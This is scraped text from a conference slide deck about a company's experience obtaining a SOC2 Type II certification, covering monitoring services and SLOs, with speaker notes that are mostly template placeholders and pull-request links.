    Monitoring 51 Consider the differentservices ▸ NewRelic, DataDog, Cloud-native … ▸ Application monitoring ▸ Log aggregation and analysis ▹ Source multiplicity ▸ Infrastructure monitoring ▸ SLIs, SLOs and SLAs Datadog - Track SLIs and SLOs
  • 52.
    Why Because …: - Oftena requirement - Always an effective sales tool - In hindsight, a useful thing to go through (go figure)
  • 53.
    Thank you Learn moreat lexop.com Lexop helps companies retain past-due customers by facilitating payment and empowering them to self-cure. It’s quick to implement, easy to use, and scales to fit your needs.

Editor's Notes

  • #2 Thank you for being here; I hope you’re all having a good time and that you’ll enjoy this presentation. Andy’s a very hard act to follow so bear with me :) Today, I’m going to share my story of despair and madness: obtaining a SOC2 Type II certification. There’s always what you understand in hindsight and what you feel in the moment. And in the moment it was definitely not my favorite experience.
  • #5 Let’s start with what this is. Security Availability Process integrity Confidentiality privacy
  • #6 Let’s start with what this is. Security Availability Process integrity Confidentiality privacy
  • #7 Let’s start with what this is. Security Availability Process integrity Confidentiality privacy
  • #8 Let’s start with what this is. Security Availability Process integrity Confidentiality privacy
  • #9 Let’s start with what this is. Security Availability Process integrity Confidentiality privacy
  • #10 Let’s start with what this is. Security Availability Process integrity Confidentiality privacy
  • #12 NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
  • #16 NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
  • #17 NORMAL SLIDE EXAMPLE
  • #18 NORMAL SLIDE EXAMPLE
  • #19 NORMAL SLIDE EXAMPLE
  • #20 NORMAL SLIDE EXAMPLE
  • #21 NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
  • #23  https://github.com/Lexop/lexop/pull/691
  • #24  https://github.com/Lexop/lexop/pull/691
  • #25 NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
  • #26 https://github.com/Lexop/lexop/pull/684/files
  • #27 https://github.com/Lexop/lexop/pull/684/files
  • #28 https://github.com/Lexop/lexop/pull/684/files
  • #29 NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
  • #30 https://github.com/Lexop/lexop/pull/684/files
  • #31 https://github.com/Lexop/lexop/pull/684/files
  • #32 NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
  • #33  https://github.com/Lexop/lexop/pull/691
  • #34  https://github.com/Lexop/lexop/pull/691
  • #37 https://github.com/Lexop/lexop/pull/1861/files
  • #38 NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
  • #39 https://github.com/Lexop/lexop/pull/1861/files
  • #40 https://github.com/Lexop/lexop/pull/1861/files
  • #41 NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
  • #42 https://github.com/Lexop/lexop/pull/1861/files
  • #43 https://github.com/Lexop/lexop/pull/1861/files
  • #44 NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
  • #45 NEW SECTION, SHORT STATEMENT SLIDE EXAMPLE
  • #46 NORMAL SLIDE EXAMPLE
  • #47 NORMAL SLIDE EXAMPLE
  • #48 Remove TWILIO and Sendgrid
  • #49 NORMAL SLIDE EXAMPLE
  • #50 NORMAL SLIDE EXAMPLE
  • #51 NORMAL SLIDE EXAMPLE
  • #52 NORMAL SLIDE EXAMPLE
  • #54 THANK YOU SLIDE EXAMPLE As before, try to quantify the quality of your team by showing impressive logos, educational degrees, or years of experience. If there are some particularly awesome accomplishments (e.g. I built out unicorn X’s growth team), call it out. Remove anything else - yes, this means leaving off the headshots for every employee in your 12 person team. If you’ve been lean (e.g. accomplished everything with only a team of 4) or capital efficient (e.g spent $1m to get to $1.2m ARR), this is a good place to highlight it. You can also optionally add a slide with your advisors (if they’re impressive and especially if your company requires domain expertise) and existing investors. Just beware of signaling risk - if you include a Series A fund on the list of existing investors, you’ll be asked whether or not they’re leading your round. If the answer is yes, then why are you giving the pitch? If the answer is no or that you’re not sure, that could be a negative signal. In general, best to leave those logos off.